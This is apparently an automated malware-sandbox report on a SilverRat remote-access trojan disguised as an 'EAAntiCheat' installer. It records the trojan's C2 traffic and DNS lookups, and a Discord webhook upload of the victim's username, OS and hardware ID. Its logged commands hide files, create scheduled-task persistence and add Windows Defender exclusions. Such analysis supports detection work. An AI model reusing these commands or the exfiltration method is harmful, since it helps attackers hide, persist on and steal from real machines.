Nov 9, 2024 22:54:20.369168997 CET	29853	49987	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:20.370034933 CET	29853	49988	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:20.370235920 CET	49988	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:20.370520115 CET	49988	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:20.375430107 CET	29853	49988	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:28.853934050 CET	29853	49988	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:28.854131937 CET	49988	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:28.864495993 CET	49988	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:28.865514994 CET	49989	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:28.869414091 CET	29853	49988	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:28.870423079 CET	29853	49989	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:28.870518923 CET	49989	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:28.870812893 CET	49989	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:28.875596046 CET	29853	49989	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:37.359064102 CET	29853	49989	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:37.359164000 CET	49989	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:37.364726067 CET	49989	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:37.365525961 CET	49990	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:37.369565010 CET	29853	49989	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:37.370357037 CET	29853	49990	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:37.370434999 CET	49990	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:37.370732069 CET	49990	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:37.375763893 CET	29853	49990	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:45.854302883 CET	29853	49990	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:45.854388952 CET	49990	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:45.864538908 CET	49990	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:45.865401030 CET	49991	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:45.869288921 CET	29853	49990	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:45.870198011 CET	29853	49991	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:45.870269060 CET	49991	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:45.870481014 CET	49991	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:45.875369072 CET	29853	49991	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:54.353502035 CET	29853	49991	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:54.353583097 CET	49991	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:54.364593029 CET	49991	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:54.365494013 CET	49992	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:54.369419098 CET	29853	49991	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:54.370341063 CET	29853	49992	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:54.370410919 CET	49992	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:54.370630980 CET	49992	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:54.375423908 CET	29853	49992	141.98.102.187	192.168.2.5
Nov 9, 2024 22:55:02.852929115 CET	29853	49992	141.98.102.187	192.168.2.5
Nov 9, 2024 22:55:02.853051901 CET	49992	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:55:02.865051985 CET	49992	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:55:02.866322994 CET	49993	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:55:02.870007038 CET	29853	49992	141.98.102.187	192.168.2.5
Nov 9, 2024 22:55:02.871200085 CET	29853	49993	141.98.102.187	192.168.2.5
Nov 9, 2024 22:55:02.871295929 CET	49993	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:55:02.871540070 CET	49993	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:55:02.876430035 CET	29853	49993	141.98.102.187	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2024 22:53:09.861186028 CET	49190	53	192.168.2.5	1.1.1.1
Nov 9, 2024 22:53:09.868027925 CET	53	49190	1.1.1.1	192.168.2.5
Nov 9, 2024 22:53:10.872009039 CET	58492	53	192.168.2.5	1.1.1.1
Nov 9, 2024 22:53:11.002684116 CET	53	58492	1.1.1.1	192.168.2.5
Nov 9, 2024 22:54:11.740046978 CET	56041	53	192.168.2.5	1.1.1.1
Nov 9, 2024 22:54:11.868269920 CET	53	56041	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 9, 2024 22:53:09.861186028 CET	192.168.2.5	1.1.1.1	0xcede	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:10.872009039 CET	192.168.2.5	1.1.1.1	0x40ff	Standard query (0)	kanibal.mooo.com	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:54:11.740046978 CET	192.168.2.5	1.1.1.1	0xfdbf	Standard query (0)	kanibal.mooo.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 9, 2024 22:53:09.868027925 CET	1.1.1.1	192.168.2.5	0xcede	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:09.868027925 CET	1.1.1.1	192.168.2.5	0xcede	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:09.868027925 CET	1.1.1.1	192.168.2.5	0xcede	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:09.868027925 CET	1.1.1.1	192.168.2.5	0xcede	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:09.868027925 CET	1.1.1.1	192.168.2.5	0xcede	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:53:11.002684116 CET	1.1.1.1	192.168.2.5	0x40ff	No error (0)	kanibal.mooo.com	141.98.102.187	A (IP address)	IN (0x0001)	false
Nov 9, 2024 22:54:11.868269920 CET	1.1.1.1	192.168.2.5	0xfdbf	No error (0)	kanibal.mooo.com	141.98.102.187	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	162.159.137.232	443	2884	C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:53:10 UTC	255	OUT	POST /api/webhooks/1096011178049802290/d9w9LhtbB8Cy4apceC6cLWfZWhlAAMAf3qABUNFcfpGyxXEk9Qtozf7gqlpK15fLwasp HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: discord.com Content-Length: 414 Expect: 100-continue Connection: Keep-Alive
2024-11-09 21:53:10 UTC	25	IN	HTTP/1.1 100 Continue
2024-11-09 21:53:10 UTC	414	OUT	Data Raw: 75 73 65 72 6e 61 6d 65 3d 48 65 79 2b 41 44 4d 49 4e 26 61 76 61 74 61 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 67 2e 74 6f 70 34 74 6f 70 2e 69 6f 25 32 66 70 5f 32 35 32 32 63 37 77 38 75 31 2e 70 6e 67 26 63 6f 6e 74 65 6e 74 3d 59 6f 75 2b 68 61 76 65 2b 61 2b 63 6c 69 65 6e 74 2b 6f 6e 6c 69 6e 65 2b 6e 6f 77 2b 25 37 62 2b 4e 65 77 2b 25 37 64 25 30 61 2b 2b 25 65 32 25 39 63 25 38 35 2b 55 73 65 72 6e 61 6d 65 2b 25 33 61 2b 61 6c 66 6f 6e 73 25 34 30 38 39 37 35 30 36 25 30 61 2b 2b 25 65 32 25 39 63 25 38 35 2b 53 79 73 74 65 6d 2b 25 33 61 2b 4d 69 63 72 6f 73 6f 66 74 2b 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 25 30 61 2b 2b 25 65 32 25 39 63 25 38 35 2b 48 57 49 44 2b 25 33 61 2b 38 41 42 46 37 42 37 33 36 46 32 46 46 43 Data Ascii: username=Hey+ADMIN&avatar_url=https%3a%2f%2fg.top4top.io%2fp_2522c7w8u1.png&content=You+have+a+client+online+now+%7b+New+%7d%0a++%e2%9c%85+Username+%3a+user%40897506%0a++%e2%9c%85+System+%3a+Microsoft+Windows+10+Pro%0a++%e2%9c%85+HWID+%3a+8ABF7B736F2FFC
2024-11-09 21:53:10 UTC	1302	IN	HTTP/1.1 404 Not Found Date: Sat, 09 Nov 2024 21:53:10 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731189192 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IUwVeMTn46AHZNgPU7jzSwB1ChURg%2FZ0LFBa8yr2cMhRL%2BgeeUIZxuG0i0PQUqzNy8ZKyhAeWIV43fbBNmoZdLl6LT1mOa5sEtwDPTTI%2BcwJrXZKL5K8l6cn%2FtdY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=abcf9f927ef405fe1dead6df440f9055f166ebbb-1731189190; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=78SoGGeM4_zTYGvCUSTwQVwmHc8KwTnr0hkI6fWjeOI-1731189190777-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e0108b949c62cc7-DFW {"message": "Unknown Webhook", "code": 10015}

Target ID:	0
Start time:	16:53:02
Start date:	09/11/2024
Path:	C:\Users\user\Desktop\Xyq6rvzLJs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Xyq6rvzLJs.exe"
Imagebase:	0x620000
File size:	46'592 bytes
MD5 hash:	5EC3267ACFD4EF36CBFB796016142892
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: 00000000.00000002.2077667438.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: 00000000.00000000.2051314011.0000000000622000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:53:04
Start date:	09/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA"
Imagebase:	0x7ff6d16b0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:53:04
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:53:04
Start date:	09/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"
Imagebase:	0x7ff6d16b0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:53:04
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:53:04
Start date:	09/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat""
Imagebase:	0x7ff6a4100000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:53:05
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:53:05
Start date:	09/11/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 3
Imagebase:	0x7ff655450000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"
Imagebase:	0xeb0000
File size:	46'592 bytes
MD5 hash:	5EC3267ACFD4EF36CBFB796016142892
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe
Imagebase:	0x7ff717eb0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
Imagebase:	0x7ff717eb0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe
Imagebase:	0x7ff717eb0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /sc daily /tn "EAAntiCheat.Installler_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
Imagebase:	0x7ff717eb0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:53:08
Start date:	09/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:53:10
Start date:	09/11/2024
Path:	C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe "\$77EAAntiCheat.Installler.exe" /AsAdmin
Imagebase:	0x7ff6d64d0000
File size:	46'592 bytes
MD5 hash:	5EC3267ACFD4EF36CBFB796016142892
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:53:11
Start date:	09/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33.3%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E97E09 Relevance: 1.6, APIs: 1, Instructions: 115
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetValueKey.NTDLL ref: 00007FF848E97EBF

Memory Dump Source

Source File: 00000000.00000002.2080595939.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e90000_Xyq6rvzLJs.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: faf26a4879b0f2b8650d4e048be8f0ed761a8ab5ba73a899b5da15fe41052332
Instruction ID: f82a1b8fa749bf4a905a68e6b9eb62d4ba2acbe9abc780baa58a20367cc8ee09
Opcode Fuzzy Hash: faf26a4879b0f2b8650d4e048be8f0ed761a8ab5ba73a899b5da15fe41052332
Instruction Fuzzy Hash: B431C53190CA4C8FDB58EF58D849AE9BBF0FBA9321F14416FD049D3652C770A8458B91

Function 00007FF848E960C2 Relevance: .5, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2080595939.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e90000_Xyq6rvzLJs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c952ce7b49cb9dc21b14ec114b9599873e3c7fc6191c484ba97f9f3cfb1c6529
Instruction ID: b4a30665bafcc8f0ee01ab34c42cb2b7382ea76abe3231d9093ae1b77503499c
Opcode Fuzzy Hash: c952ce7b49cb9dc21b14ec114b9599873e3c7fc6191c484ba97f9f3cfb1c6529
Instruction Fuzzy Hash: 7AE1A23090CA8E8FEBA8EF68C8557E977D1FF54350F14426EE84DC72A1DB74A9448B81

Function 00007FF848E97C29 Relevance: 1.6, APIs: 1, Instructions: 136
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32 ref: 00007FF848E97D09

Memory Dump Source

Source File: 00000000.00000002.2080595939.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e90000_Xyq6rvzLJs.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f99ab89d10caa347c1ff7aea4eb898bd9b511b8ff009c9c1997e4970b7f7ab51
Instruction ID: 5662d76afd8ef360bae10f974cccef96623f7f3fc2c563b469bb5c9fa7291291
Opcode Fuzzy Hash: f99ab89d10caa347c1ff7aea4eb898bd9b511b8ff009c9c1997e4970b7f7ab51
Instruction Fuzzy Hash: 3C31B17191CB489FDB58EF9C98456F97BE0FB99315F00426FE089D3242CB70A849CB96

Function 00007FF848E96820 Relevance: 1.6, APIs: 1, Instructions: 108
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetGetConnectedState.WININET ref: 00007FF848E968C4

Memory Dump Source

Source File: 00000000.00000002.2080595939.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e90000_Xyq6rvzLJs.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: be39ae8c33b09bf0bad5ff150295312687c4f7cfa83f48c3a85178f87a6f3764
Instruction ID: ffd3b7e3fc3d7f414ee93e36c7538a8548d8ecccebd81829997072b836140092
Opcode Fuzzy Hash: be39ae8c33b09bf0bad5ff150295312687c4f7cfa83f48c3a85178f87a6f3764
Instruction Fuzzy Hash: 3931F13190CA4C8FDB58EFA89849BE97BE1EB66321F04016FD449C3292DB74A845CB91

Non-executed Functions

Function 00007FF848E95316 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2080595939.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848e90000_Xyq6rvzLJs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf73bd80ecdb9a7ae13f8024c683135080eb0f9bd7690bf9c12e76f45673de9
Instruction ID: faf9c4a7d9b4a88e4df88e57ef359448293ce4f177f91512b6e106ef1e7cb791
Opcode Fuzzy Hash: bcf73bd80ecdb9a7ae13f8024c683135080eb0f9bd7690bf9c12e76f45673de9
Instruction Fuzzy Hash: 19F1B43090CA8D8FEBA8EF28C8557E97BE1FF54351F04426EE84DC7291DB7499458B82

Analysis Process: $77EAAntiCheat.Installler.exePID: 2884, Parent PID: 6360COMMON

Execution Graph

Execution Coverage:	19.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E7A1C8 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FF848E7A291

Memory Dump Source

Source File: 0000000C.00000002.3301403565.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848e70000_$77EAAntiCheat.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: d05255b4fec7aae02c13177155c22e708877907f66f9a202659d776a28dc4193
Instruction ID: fe3cf67132049bd9f9c16d7f465f4736912411d93ec4fc85f6a83dd92df4ce93
Opcode Fuzzy Hash: d05255b4fec7aae02c13177155c22e708877907f66f9a202659d776a28dc4193
Instruction Fuzzy Hash: BD41F63191CA4D8FDB58EB68D8466F97BE1FB59361F00023EE009C3292DF75A8528B85

Function 00007FF848E76820 Relevance: 1.6, APIs: 1, Instructions: 109
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetGetConnectedState.WININET ref: 00007FF848E768C4

Memory Dump Source

Source File: 0000000C.00000002.3301403565.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848e70000_$77EAAntiCheat.jbxd

Similarity

API ID: ConnectedInternetState
String ID:
API String ID: 97057780-0
Opcode ID: 7f20f700a696d67296bbee368427670194247ce561cea84d64d07d6bba260767
Instruction ID: 0d07142be9d678cf7dfba3c50a91fe2012276255ba66ec12bd8ca0f0d44c1a0f
Opcode Fuzzy Hash: 7f20f700a696d67296bbee368427670194247ce561cea84d64d07d6bba260767
Instruction Fuzzy Hash: 3631F33090CA4C8FEB58EFA898457E97BE1EB56321F04016FD049C3192DB74A856CB91

Analysis Process: $77EAAntiCheat.Installler.exePID: 6104, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848E80A35 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

cBM_^, xrefs: 00007FF848E80ABB

Memory Dump Source

Source File: 00000017.00000002.2141403811.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff848e80000_$77EAAntiCheat.jbxd

Similarity

API ID:
String ID: cBM_^
API String ID: 0-1770416534
Opcode ID: 8451b11e5b3af26f371d62a0d0095785bbafb54bcadb489ad6c1b9e81347dfc7
Instruction ID: c3efd8d7ca4a5d1cdfe0a549559451dfb818d3f2599e2033011004d0d1a9bb79
Opcode Fuzzy Hash: 8451b11e5b3af26f371d62a0d0095785bbafb54bcadb489ad6c1b9e81347dfc7
Instruction Fuzzy Hash: BB51A020E1DA5A4EE7A9B738805A2BE76D0FF59384F8405B9D00EC31D3CF3DA8418765

Function 00007FF848E80CD6 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

